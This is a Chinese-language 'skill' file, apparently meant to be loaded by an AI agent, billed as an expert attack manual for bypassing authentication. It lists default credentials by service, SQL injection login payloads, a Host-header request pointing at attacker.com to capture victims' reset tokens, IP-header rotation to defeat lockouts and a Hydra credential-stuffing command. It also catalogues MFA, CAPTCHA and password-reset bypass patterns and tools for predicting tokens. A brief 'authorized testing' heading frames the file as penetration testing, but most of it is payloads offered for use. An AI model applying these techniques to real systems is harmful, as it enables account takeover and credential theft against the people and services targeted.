authbypass-authentication-flaws

技能：绕过身份验证——专家攻击手册

AI 加载指令：专家级身份验证绕过技术。涵盖基于 SQL 注入的登录绕过、密码重置漏洞、令牌可预测性、账户枚举、暴力破解绕过和多因素身份验证绕过。与 JWT/OAuth（见 ../jwt-oauth-token-attacks/SKILL.md）不同，重点关注登录机制本身。

0. 已授权的凭据测试规划

缩减路由条目、默认凭据、用户名变体、端口范围和字典规模后，可在此处统一处理。

按服务优先使用小型集合

服务类型	首选用户名	首选密码
phpMyAdmin	root、admin	空、root、phpmyadmin、admin
FTP	ftp、admin、test	空、ftp、admin、123456
SSH	root、admin、服务账户名称	root、admin、季节性变体
MySQL	root、mysql	空、root、mysql
Tomcat / Java 管理后台	tomcat、admin、manager	tomcat、admin、s3cret
WebLogic	weblogic、admin	weblogic、welcome1、admin

用户名类别

类别	示例
通用管理员	admin、administrator、root、test、guest
支持 / 运维	dev、ops、sysadmin、service、backup
基于姓名	firstname、lastname、f.lastname、first.last
基于邮箱	企业邮箱格式中的 @ 左侧部分
基于产品	tomcat、weblogic、jenkins、gitlab

字典规模与端口侧重

场景	建议规模	原因
默认管理面板	5 到 50 个密码	在此类场景中，默认密码比大型列表更有效
已知产品的内部服务	厂商专用的小型集合	比通用列表更有针对性
控制薄弱的消费者登录	Top 20 或 Top 100	快速验证
有速率限制的登录	小型列表 + 请求头 / 轮换策略	保留尝试次数
离线哈希破解	大型字典	在线暴力破解规则不适用

优先检查常见端口和服务入口：80/443/8080/8443 上的管理面板、22 上的 SSH、21 上的 FTP，以及 3306/5432/6379/27017 上的数据或管理服务。

---

1. SQL 注入登录绕过

这是经典手法，但在旧系统、自定义 ORM 和原始查询代码中仍然存在：

-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'

-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'

-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1

分别测试每个字段——可能只有一个字段存在漏洞。

---

2. 密码重置漏洞

可猜测 / 可预测的重置令牌

检查重置令牌是否基于：

- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "[email protected]" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceable

测试：连续请求 3 封密码重置邮件，并比较令牌模式。

重置令牌不会过期

1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?

重复使用重置令牌

1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?

重置邮件中的 Host 请求头注入

当应用使用 Host 请求头生成重置 URL 时：

POST /forgot-password HTTP/1.1
Host: attacker.com           ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded

[email protected]

→ 向受害者发送重置邮件，其中的链接指向 attacker.com/reset?token=VICTIM_TOKEN → 受害者点击 → 攻击者捕获令牌

测试：使用修改后的 Host: 请求密码重置，并检查邮件中的重置链接指向何处。

Referer 中的密码重置令牌

1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logs

无需当前密码即可更改密码

PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover

---

3. 账户枚举

识别有效的用户名 / 邮箱可支持有针对性的攻击：

错误消息差异

Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accounts

响应时间差异

Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oracle

密码重置流程

POST /forgot-password {"email": "[email protected]"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)

注册端点

POST /register {"email": "[email protected]"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration

---

4. 暴力破解绕过

尝试 N 次后锁定，随后重置

Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockout

绕过基于 IP 的锁定

X-Forwarded-For: 1.1.1.1       ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in header

轮换用户名与轮换密码

Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked out

凭据填充

将 HaveIBeenPwned 数据集中的泄露凭据用于目标：

# Tools: Hydra, Burp Intruder, custom scripts
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"

---

5. 多因素身份验证绕过

完成 2FA 前已生成会话 Cookie

Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely

暴力破解 2FA 验证码

4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window

关键操作需要 2FA，但登录时不需要

Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions

滥用 2FA 备用码

Generate backup codes (usually 8-10 single-use)
Test: 
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit

重复使用 2FA 验证码

TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes

---

6. OAuth / SSO 账户接管模式

信任邮箱声明

1. Create account at attacker-controlled OAuth provider
2. Set email claim = [email protected]
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeover

关联 SSO 后密码不再适用

1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?  
→ Can set password → now bypass SSO → direct login

---

7. 用户名 / 密码字段操纵

长密码 DoS → 绕过

Some apps hash passwords before sending to database.
bcrypt has 72-byte limit — input beyond 72 bytes is ignored.
Attack: 
→ Register with password "A"*100
→ Login with password "A"*72 → same hash → works
→ Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match

用户名中的空字节

username=admin%00 vs username=admin
→ Null byte truncation in some string comparisons
→ "admin\0attacker" = "admin" in C-string comparison

Unicode 规范化

Username: "ⓢcott" → normalizes to "scott" → impersonates "scott"
Username: "admin" (various Unicode homoglyphs for letters a,d,m,i,n)

---

8. 会话管理缺陷

登出时未使会话失效

1. Log in → capture session cookie
2. Log out
3. Replay captured session cookie → still valid?
→ Session not server-side invalidated

权限变更时未重新生成会话

1. Log in as low priv → get session cookie
2. Admin upgrades your role
3. Old session cookie now has admin access?
→ Session not regenerated → old token inherits new privileges

可预测的会话令牌

Token: base64(userid+timestamp) → reversible
Token: sequential integers → session ID= your_session_id -/+ small number
Token: short random (32-bit entropy) → brute-forceable

---

9. 身份验证测试清单

□ Try SQL injection on login fields (' OR 1=1--)
□ Test password reset: predict token, host header injection, Referer leak
□ Test account enumeration via error messages / timing
□ Check 2FA: skip step (direct URL), brute force codes, reuse codes
□ Test brute force protections: X-Forwarded-For bypass, reverse brute
□ Check session invalidation on logout
□ Check session regeneration after privilege change
□ Test password change requiring current password  
□ Test long passwords (bcrypt 72-byte truncation)
□ OAuth/SSO: test email claim trust, password set after SSO
□ Check remember_me tokens: how long, revocable, predictable?

---

10. 密码重置攻击矩阵（22 种模式）

#	模式	描述
1	可预测的重置令牌	基于时间戳、用户 ID 或顺序编号生成的令牌
2	令牌未绑定用户	使用为用户 A 生成的令牌重置用户 B 的密码
3	令牌出现在响应正文中	HTTP 响应中返回重置令牌（不只是通过电子邮件发送）
4	令牌出现在 URL 参数中	重置链接令牌会通过 Referer 标头暴露给外部资源
5	令牌不会过期	令牌始终有效
6	令牌可重复使用	同一令牌可以多次使用
7	令牌过短／可暴力破解	4-6 位数字验证码，且没有速率限制
8	通过主机标头重置密码	Host: attacker.com → 重置链接使用攻击者的域名发送
9	注册会覆盖现有账户	使用相同电子邮件注册 → 覆盖密码
10	跳过步骤（仅前端）	通过 URL 直接跳转到“设置新密码”步骤
11	操纵响应	在代理中将 {"status":"fail"} 改为 {"status":"success"}
12	响应中包含验证码	API 响应中返回短信／电子邮件验证码
13	并行会话重置	为 A 启动重置，然后使用 B 的会话完成重置
14	电子邮件／电话号码参数污染	[email protected]&[email protected]
15	Unicode 规范化	[email protected] 与 [email protected]，以及外观相似的 Unicode 字符
16	重置流程中的 SQL 注入	重置查询中的电子邮件字段可注入
17	重置端点上的 IDOR	在重置确认请求中更改用户 ID
18	跨协议重置	移动端 API 未验证与 Web 端相同的令牌
19	默认安全问题	答案容易猜测，且没有速率限制
20	令牌生成竞争条件	多个并发请求生成相同令牌
21	登出不会使重置令牌失效	更改密码后，旧会话仍然有效
22	重置链接被 CDN／代理缓存	公共缓存存储了包含令牌的重置链接

---

11. CAPTCHA／验证码绕过模式（20 种方法）

#	方法	操作方式
1	移除 CAPTCHA 参数	从请求中删除 CAPTCHA 字段
2	发送空 CAPTCHA	captcha= 或 captcha=null
3	重用先前的 CAPTCHA	同一个 CAPTCHA 值可以多次使用
4	CAPTCHA 未绑定会话	在会话 B 中使用在会话 A 中解出的 CAPTCHA
5	缺少服务器端验证	仅在客户端检查 CAPTCHA
6	操纵响应	拦截并修改响应以绕过验证
7	更改请求方法	POST→GET，反之亦然，可能跳过 CAPTCHA 检查
8	JSON 内容类型	从表单切换为 JSON — CAPTCHA 处理程序可能不会处理
9	OCR 绕过	可使用 tesseract/ML 解出简单的 CAPTCHA
10	音频 CAPTCHA 弱点	音频 CAPTCHA 通常比视觉 CAPTCHA 简单
11	响应中包含短信验证码	API 响应正文中返回验证码
12	短信验证码可预测	顺序生成或基于时间生成的验证码
13	验证码验证没有速率限制	暴力破解 4-6 位验证码
14	验证码未绑定电话号码／电子邮件	在账户 B 上使用发送到电话 A 的验证码
15	验证码不会过期	旧验证码仍然有效
16	电话号码中的空字节	+1234567890%00 绕过去重，但验证码仍发送到同一号码
17	大小写敏感性	电子邮件：[email protected] 与 [email protected]
18	标识符中的空格／编码	[email protected] 与 [email protected] （末尾空格）
19	并发请求	竞争条件：在 CAPTCHA 加载前发送验证请求
20	绕过第三方 CAPTCHA	配置错误的 reCAPTCHA 网站密钥允许任何域名使用

---

12. 不安全的随机性 — 令牌预测

UUID v1（基于时间 — 可预测！）

UUID v1 format: timestamp-clock_seq-node(MAC)
# MAC address often leaked via other endpoints
# Timestamp is 100ns intervals since 1582-10-15
# Tool: guidtool (reconstruct possible UUIDs from known timestamp range)

MongoDB ObjectId

ObjectId = 4-byte timestamp + 5-byte random + 3-byte counter
# First 4 bytes = Unix timestamp → creation time leaked
# Counter is sequential → adjacent ObjectIds predictable
# If you know one ObjectId, nearby ones are calculable

PHP uniqid()

uniqid() = hex(microtime)
// Output: 5f3e7a4c1d2b3
// Entirely based on current microsecond timestamp
// Predictable if you know approximate server time

PHP mt_rand() 恢复

# mt_rand() uses Mersenne Twister PRNG
# After observing ~624 outputs, full internal state is recoverable
# Tool: openwall/php_mt_seed
# Feed known outputs → recover seed → predict all future values

工具

• guidtool — UUID v1 重建
• AethliosIK/reset-tolkien — 自动预测用于密码重置的令牌
• openwall/php_mt_seed — PHP mt_rand 种子恢复
• sandwich — 令牌时间戳分析